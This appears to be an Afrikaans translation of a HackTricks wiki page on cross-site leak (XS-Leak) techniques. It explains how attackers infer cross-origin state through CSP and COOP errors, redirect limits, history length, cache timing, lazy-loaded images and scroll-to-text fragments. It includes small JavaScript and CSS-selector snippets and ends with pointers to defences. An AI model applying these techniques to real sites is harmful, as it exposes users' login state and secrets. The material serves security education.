'n Nuwe kenmerk in Google Chrome (GC) maak dit moontlik vir webbladsye om 'n Inhoudsekuriteitsbeleid (CSP) voor te stel deur 'n attribuut op 'n ramelement in te stel, met beleidsriglyne wat saam met die HTTP-aanvraag oorgedra word. Normaalweg moet die ingeslote inhoud dit via 'n HTTP-kopteks goedkeur, of 'n foutbladsy word vertoon. Indien die rame reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie strenger is nie, sal die bladsy normaal laai. Hierdie meganisme skep 'n geleentheid vir 'n aanvaller om spesifieke CSP-direktiewe van 'n kruis-oorsprongbladsy te bepaal deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as opgelos gemerk is, dui ons bevindinge op 'n nuwe lektegniek wat in staat is om die foutbladsy te bepaal, wat aandui dat die onderliggende probleem nooit heeltemal aangespreek is nie.

CORP

Die CORP-kopteks is 'n relatief nuwe webplatform-sekuriteitskenmerk wat wanneer dit ingestel word geen-cors kruis-oorsprong aanvrae na die gegewe hulpbron blokkeer. Die teenwoordigheid van die kopteks kan bepaal word, omdat 'n hulpbron wat met CORP beskerm word 'n fout sal gooi wanneer dit opgehaal word.

CORB

Kyk na die skakel vir meer inligting oor die aanval.

CORS-fout op Oorsprongweerspieëlingskonfigurasie

Indien die Oorsprong-kop weerspieël word in die kop Access-Control-Allow-Origin, kan 'n aanvaller hierdie gedrag misbruik om te probeer om die hulpbron in CORS-modus te haal. As 'n fout nie geaktiveer word nie, beteken dit dat dit korrek van die web afgehaal is, as 'n fout geaktiveer word, is dit omdat dit van die kas afgehaal is (die fout verskyn omdat die kas 'n respons met 'n CORS-kop wat die oorspronklike domein toelaat en nie die aanvaller se domein nie, stoor).
Let daarop dat as die oorsprong nie weerspieël word nie, maar 'n wildkaart gebruik word (Access-Control-Allow-Origin: *), sal dit nie werk nie.

Leesbare Eienskappe Tegniek

Ophaalomleiding

Deur 'n versoek in te dien met die Ophaal-API met redirect: "manual" en ander parameters, is dit moontlik om die response.type-eienskap te lees en as dit gelyk is aan opaqueredirect, was die respons 'n omleiding.

COOP

'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener-beleid (COOP) kop in 'n kruis-oorsprong HTTP-respons af te lei. COOP word deur webtoepassings gebruik om te verhoed dat eksterne webwerwe arbitrêre vensterverwysings bekom. Die sigbaarheid van hierdie kop kan waargeneem word deur te probeer om die contentWindow-verwysing te benader. In gevalle waar COOP kondisioneel toegepas word, word die opener-eiendom 'n duidelike aanduiding: dit is onbepaald wanneer COOP aktief is, en gedefinieer in sy afwesigheid.

URL Maksimum Lengte - Bedienerkant

As 'n bedienerkant-omleiding gebruikersinvoer binne die omleiding en ekstra data gebruik. Dit is moontlik om hierdie gedrag te identifiseer omdat gewoonlik bedieners 'n limietversoeklengte het. As die gebruikersdata daardie lengte - 1 is, omdat die omleiding daardie data gebruik en iets ekstra byvoeg, sal dit 'n fout aktiveer wat deur Foutgebeurtenisse waarneembaar is.

As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur genoeg koekies te stel (koekiebom) sodat met die verhoogde grootte van die korrekte respons 'n fout geaktiveer word. In hierdie geval, onthou dat as jy hierdie versoek vanaf dieselfde webwerf aktiveer, <script> sal outomaties die koekies stuur (sodat jy vir foute kan kyk).
'n Voorbeeld van die koekiebom + XS-Soek kan gevind word in die Bedoelde oplossing van hierdie uiteensetting: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None of om in dieselfde konteks te wees, is gewoonlik nodig vir hierdie tipe aanval.

URL Maksimum Lengte - Kliëntkant

Volgens Chromium-dokumentasie, is Chrome se maksimum URL-lengte 2MB.

In die algemeen het die webplatform nie limiete op die lengte van URL's nie (hoewel 2^31 'n algemene limiet is). Chrome beperk URL's tot 'n maksimum lengte van 2MB om praktiese redes en om te verhoed dat daar ontkenning-van-diensprobleme in interproseskommunikasie veroorsaak word.

Daarom, as die omleidings-URL wat reageer groter is in een van die gevalle, is dit moontlik om dit om te lei met 'n URL groter as 2MB om die lengtelimiet te tref. Wanneer dit gebeur, wys Chrome 'n about:blank#blocked-bladsy.

Die opmerkbare verskil is dat as die omleiding voltooi was, gooi window.origin 'n fout omdat 'n kruis-oorsprong nie daardie inligting kan benader nie. As die limiet egter bereik is en die gelaai bladsy was about:blank#blocked, bly die venster se origin dié van die ouer, wat 'n toeganklike inligting is.

Al die ekstra inligting wat nodig is om die 2MB te bereik, kan bygevoeg word via 'n hekje in die aanvanklike URL sodat dit in die omleiding gebruik sal word.

{% content-ref url="url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Maksimum Aanwysings

As die maksimum aantal aanwysings wat 'n blaaier moet volg 20 is, kan 'n aanvaller probeer om sy bladsy met 19 aanwysings te laai en uiteindelik die slagoffer na die getoetste bladsy te stuur. As 'n fout geaktiveer word, was die bladsy besig om die slagoffer te aanwys.

Geskiedenislengte

Die Geskiedenis-API laat JavaScript-kode toe om die blaaier se geskiedenis te manipuleer, wat die bladsye wat deur 'n gebruiker besoek is, bewaar. 'n Aanvaller kan die lengte-eienskap gebruik as 'n insluitingsmetode: om JavaScript- en HTML-navigasie te bepaal.
Deur history.length te kontroleer, 'n gebruiker te laat navigeer na 'n bladsy, dit terug te verander na dieselfde oorsprong en die nuwe waarde van history.length te kontroleer.

Geskiedenislengte met dieselfde URL

  • Insluitingsmetodes: Raamwerke, Pop-ups
  • Opmerkbare Verskil: As URL dieselfde is as die gerate een
  • Opsomming: Dit is moontlik om te raai of die ligging van 'n raamwerk/pop-up in 'n spesifieke URL is deur die geskiedenislengte te misbruik.
  • Kodevoorbeeld: Onder

'n Aanvaller kan JavaScript-kode gebruik om die raamwerk/pop-up se ligging na 'n gerate een te manipuleer en dit onmiddellik te verander na about:blank. As die geskiedenislengte toegeneem het, beteken dit dat die URL korrek was en dit tyd gehad het om te verhoog omdat die URL nie herlaai word as dit dieselfde is nie. As dit nie toegeneem het nie, beteken dit dat dit geprobeer het om die gerate URL te laai maar omdat ons onmiddellik daarna about:blank gelaai het, het die geskiedenislengte nooit toegeneem toe die gerate URL gelaai is nie.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Raamteling

Die aantal raamwerke in 'n webbladsy wat geopen word via iframe of window.open kan help om die status van die gebruiker oor daardie bladsy te identifiseer.
Verder, as die bladsy altyd dieselfde aantal raamwerke het, kan die kontinu telling van die aantal raamwerke help om 'n patroon te identifiseer wat moontlik inligting kan lek.

'n Voorbeeld van hierdie tegniek is dat in Chrome 'n PDF met raamteling opgespoor kan word omdat 'n embed intern gebruik word. Daar is Oop URL-parameters wat 'n mate van beheer oor die inhoud toelaat soos zoom, view, page, toolbar waar hierdie tegniek interessant kan wees.

HTMLElemente

Inligtingslekking deur HTML-elemente is 'n bekommernis in websekuriteit, veral wanneer dinamiese mediabestande gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word wat die mediagrootte verander. Dit kan deur aanvallers uitgebuit word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.

Inligting Blootgestel deur HTML-elemente

  • HTMLMediaElement: Hierdie element onthul die media se duration en buffered tye, wat toeganklik is via sy API. Lees meer oor HTMLMediaElement
  • HTMLVideoElement: Dit onthul videoHeight en videoWidth. In sommige webblaaier, is addisionele eienskappe soos webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, en webkitDecodedFrameCount beskikbaar, wat meer in-diepte inligting oor die mediainhoud bied. Lees meer oor HTMLVideoElement
  • getVideoPlaybackQuality(): Hierdie funksie verskaf besonderhede oor videoweergawe-kwaliteit, insluitend totalVideoFrames, wat die hoeveelheid videodata wat verwerk is, kan aandui. Lees meer oor getVideoPlaybackQuality()
  • HTMLImageElement: Hierdie element lek die height en width van 'n beeld. Indien 'n beeld ongeldig is, sal hierdie eienskappe 0 teruggee, en die image.decode()-funksie sal verwerp word, wat aandui dat die beeld nie behoorlik gelaai is nie. Lees meer oor HTMLImageElement

CSS Eienskap

Webtoepassings kan die webwerf-styling verander afhangende van die gebruiker se toestand. Kruis-oorsprong CSS-lêers kan op die aanvaller se bladsy ingesluit word met die HTML-skakel element, en die reëls sal op die aanvaller se bladsy toegepas word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie verskille afhangende van die gebruikerstoestand opspoor.
As 'n lektegniek kan die aanvaller die window.getComputedStyle-metode gebruik om CSS-eienskappe van 'n spesifieke HTML-element te lees. As gevolg hiervan kan 'n aanvaller willekeurige CSS-eienskappe lees as die geaffekteerde element en eienskapsnaam bekend is.

CSS Geskiedenis

{% hint style="info" %} Volgens hierdie werk dit nie in headless Chrome nie. {% endhint %}

Die CSS :visited-selekteerder word gebruik om URL's anders te styl as hulle voorheen deur die gebruiker besoek is. In die verlede kon die getComputedStyle()-metode gebruik word om hierdie stylverskille te identifiseer. Moderne webblaaier het egter sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel blootstel. Hierdie maatreëls sluit in dat die berekende styl altyd teruggegee word asof die skakel besoek is en die style wat met die :visited-selekteerder toegepas kan word, beperk word.

Ten spyte van hierdie beperkings is dit moontlik om die besoekte toestand van 'n skakel indirek te onderskei. Een tegniek behels om die gebruiker te mislei om met 'n area wat deur CSS beïnvloed word, te interaksioneer, spesifiek deur die mix-blend-mode-eienskap te gebruik. Hierdie eienskap maak die vermenging van elemente met hul agtergrond moontlik, wat moontlik die besoekte toestand kan onthul op grond van gebruikerinteraksie.

Verder kan opsporing sonder gebruikerinteraksie bereik word deur die uitbuiting van die rendertye van skakels. Aangesien webblaaier besoekte en onbesoekte skakels moontlik anders kan rendeer, kan dit 'n meetbare tydverskil in rendery veroorsaak. 'n Bewys van konsep (PoC) is genoem in 'n Chromium-foutverslag, wat hierdie tegniek demonstreer deur gebruik te maak van verskeie skakels om die tydverskil te versterk, en sodoende die besoekte toestand deur tydanalise waarneembaar te maak.

Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumentasiebladsye:

Inhoudsdocument X-Frame-lek

In Chrome, as 'n bladsy met die X-Frame-Options-kop ingestel op "ontken" of "selfde-oorsprong" as 'n objek ingesluit word, verskyn 'n foutbladsy. Chrome gee uniek 'n leë dokumentobjek (in plaas van null) vir die contentDocument-eienskap van hierdie objek, anders as in iframes of ander webblaaier. Aanvallers kan dit uitbuit deur die leë dokument te identifiseer, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars onkonsekwent die X-Frame-Options-kop instel, dikwels foutebladsye oorsien. Bewustheid en konsekwente toepassing van sekuriteitskoppe is noodsaaklik om sulke lekke te voorkom.

Aflaaieropsporing

Die Content-Disposition-kop, spesifiek Content-Disposition: attachment, instrueer die blaaier om inhoud af te laai eerder as om dit inlyn te vertoon. Hierdie gedrag kan uitgebuit word om te bepaal of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai veroorsaak. In Chromium-gebaseerde blaaier is daar 'n paar tegnieke om hierdie aflaai-gedrag te bepaal:

  1. Aflaaikennisgewingbalk Monitor:
  • Wanneer 'n lêer in Chromium-gebaseerde blaaier afgelaai word, verskyn 'n aflaaikennisgewingbalk onder aan die blaaier-venster.
  • Deur veranderinge in die vensterhoogte dop te hou, kan aanvallers aflei wanneer die aflaaikennisgewingbalk verskyn, wat aandui dat 'n aflaai geïnisieer is.
  1. Aflaainavigasie met Iframes:
  • Wanneer 'n bladsy 'n lêeraflaai veroorsaak deur die Content-Disposition: attachment-kop te gebruik, veroorsaak dit nie 'n navigasiegebeurtenis nie.
  • Deur die inhoud in 'n iframe te laai en te monitor vir navigasiegebeurtenisse, is dit moontlik om te kontroleer of die inhoudsdisposisie 'n lêeraflaai veroorsaak (geen navigasie) of nie.
  1. Aflaainavigasie sonder Iframes:
  • Soortgelyk aan die iframe-tegniek, behels hierdie metode die gebruik van window.open in plaas van 'n iframe.
  • Deur navigasiegebeurtenisse in die nuut geopende venster te monitor, kan vasgestel word of 'n lêeraflaai geïnisieer is (geen navigasie) of dat die inhoud inlyn vertoon word (navigasie vind plaas).

In situasies waar slegs ingeteken gebruikers sulke aflaaie kan inisieer, kan hierdie tegnieke gebruik word om indirek die gebruiker se verifikasietoestand af te lei op grond van die blaaier se reaksie op die aflaai-versoek.

Verdeelde HTTP-Kaasbypass

{% hint style="warning" %} Dit is waarom hierdie tegniek interessant is: Chrome het nou kaasverdeling, en die kaassleutel van die nuut geopende bladsy is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), maar as ek 'n ngrok-bladsy oopmaak en fetch daarin gebruik, sal die kaassleutel wees: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), die kaassleutel is anders, dus kan die kaas nie gedeel word nie. Meer inligting hier: Gaining security and privacy by partitioning the cache
(Kommentaar van hier) {% endhint %}

As 'n webwerf voorbeeld.com 'n hulpbron vanaf *.voorbeeld.com/hulpbron insluit, sal daardie hulpbron dieselfde kaassleutel hê asof die hulpbron direk deur topvlak-navigasie aangevra is. Dit is omdat die kaassleutel bestaan uit topvlak eTLD+1 en raam eTLD+1.

Omdat toegang tot die kaas vinniger is as om 'n hulpbron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20ms (byvoorbeeld) na die kansellasie te stop. As die oorsprong verander is na die stop, beteken dit dat die hulpbron gekaas is.
Of kan net 'n paar fetch na die moontlik gekaasde bladsy stuur en die tyd meet wat dit neem.

Handmatige Aanstuur

Fetch met AbortController

Gebruik fetch en setTimeout met 'n AbortController om beide te bepaal of die hulpbron gekaas is en om 'n spesifieke hulpbron uit die blaaierkaas te verwyder. Verder vind die proses plaas sonder om nuwe inhoud te kaseer.

Skripsie Besoedeling

Dienswerkers

In die gegewe scenario neem die aanvaller die inisiatief om 'n dienswerker binne een van hul domeine te registreer, spesifiek "aanvaller.com". Vervolgens open die aanvaller 'n nuwe venster op die teikenwebwerf vanaf die hoofdokument en instrueer die dienswerker om 'n tydhouer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller na die verwysing wat verkry is in die vorige stap na 'n bladsy wat deur die dienswerker bestuur word.

Met die aankoms van die versoek wat in die vorige stap geïnisieer is, reageer die dienswerker met 'n 204 (Geen Inhoud) statuskode, wat die navigasieproses effektief beëindig. Op hierdie punt neem die dienswerker 'n meting van die tydhouer wat vroeër in stap twee geïnisieer is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.

{% hint style="warning" %} In 'n uitvoertyd is dit moontlik om netwerk faktore te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die bronne wat deur die bladsy gebruik word te laai voordat dit gelaai word. {% endhint %}

Ophalingstyd

Kruis-Venster Tydsberekening


Gebruik Trickest om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Met HTML of Herinspuiting

Hier kan jy tegnieke vind om inligting van 'n kruis-oorsprong HTML te eksfileer deur HTML-inhoud in te spuit. Hierdie tegnieke is interessant in gevalle waar om enige rede jy HTML kan inspuit maar jy kan nie JS-kode inspuit nie.

Hangende Opmaak

{% content-ref url="../dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Beeld Lui Laai

As jy inhoud moet eksfileer en jy kan HTML vooraf aan die geheime byvoeg, moet jy die gewone hangende opmaak tegnieke nagaan.
Maar, as jy om enige rede dit MOET doen karakter vir karakter (miskien is die kommunikasie via 'n tref in die kas) kan jy hierdie truuk gebruik.

Beelde in HTML het 'n "laai" attribuut waarvan die waarde "lui" kan wees. In daardie geval sal die beeld gelaai word wanneer dit besigtig word en nie terwyl die bladsy laai nie:

<img src=/something loading=lazy >

Daarom kan jy 'n hele klomp rommelkarakters byvoeg (Byvoorbeeld duisende "W"s) om die webbladsy te vul voor die geheim of iets soos <br><canvas height="1850px"></canvas><br> by te voeg. Dan, as byvoorbeeld ons inspuiting voor die vlag verskyn, sal die beeld gelaai word, maar as dit na die vlag verskyn, sal die vlag + die rommel dit verhoed om gelaai te word (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat in hierdie skryfstuk gebeur het.

'n Ander opsie sou wees om die scroll-to-text-fragment te gebruik indien toegelaat:

Scroll-to-text-fragment

Nietemin, jy kan die bot toegang tot die bladsy gee met iets soos

#:~:text=SECR

So die webbladsy sal iets soos wees: https://victim.com/post.html#:~:text=SECR

Waar post.html die aanvaller rommel karakters en lui laai beeld bevat en dan die geheim van die bot bygevoeg word.

Wat hierdie teks sal doen is om die bot enige teks op die bladsy te laat toegang wat die teks SECR bevat. Aangesien daardie teks die geheim is en dit net onder die beeld is, sal die beeld slegs laai as die gerate geheim korrek is. So daar het jy jou orakel om die geheim karakter vir karakter uit te skakel.

'n Paar voorbeelde van kode om hiervan te profiteer: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Beeld Luilaai Tyd Gebaseer

As dit nie moontlik is om 'n eksterne beeld te laai wat die aanvaller kan aandui dat die beeld gelaai is nie, sou 'n ander opsie wees om te probeer om die karakter verskeie kere te raai en dit te meet. As die beeld gelaai word, sal al die versoek langer neem as wanneer die beeld nie gelaai is nie. Dit is wat gebruik is in die oplossing van hierdie skryfstuk wat hier saamgevat is:

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="../regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

As jQuery(location.hash) gebruik word, is dit moontlik om deur tydsberekening uit te vind of sommige HTML-inhoud bestaan, dit is omdat as die selektor main[id='site-main'] nie ooreenstem nie, hoef dit nie die res van die selektore te kontroleer nie:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Inspruiting

{% content-ref url="css-injection/" %} css-injection {% endcontent-ref %}

Verdedigings

Daar is mitigasies wat aanbeveel word in https://xsinator.com/paper.pdf ook in elke afdeling van die wiki https://xsleaks.dev/. Kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm.

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:


Gebruik Trickest om maklik te bou en werkvloeie outomatiseer aangedryf deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandag Toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}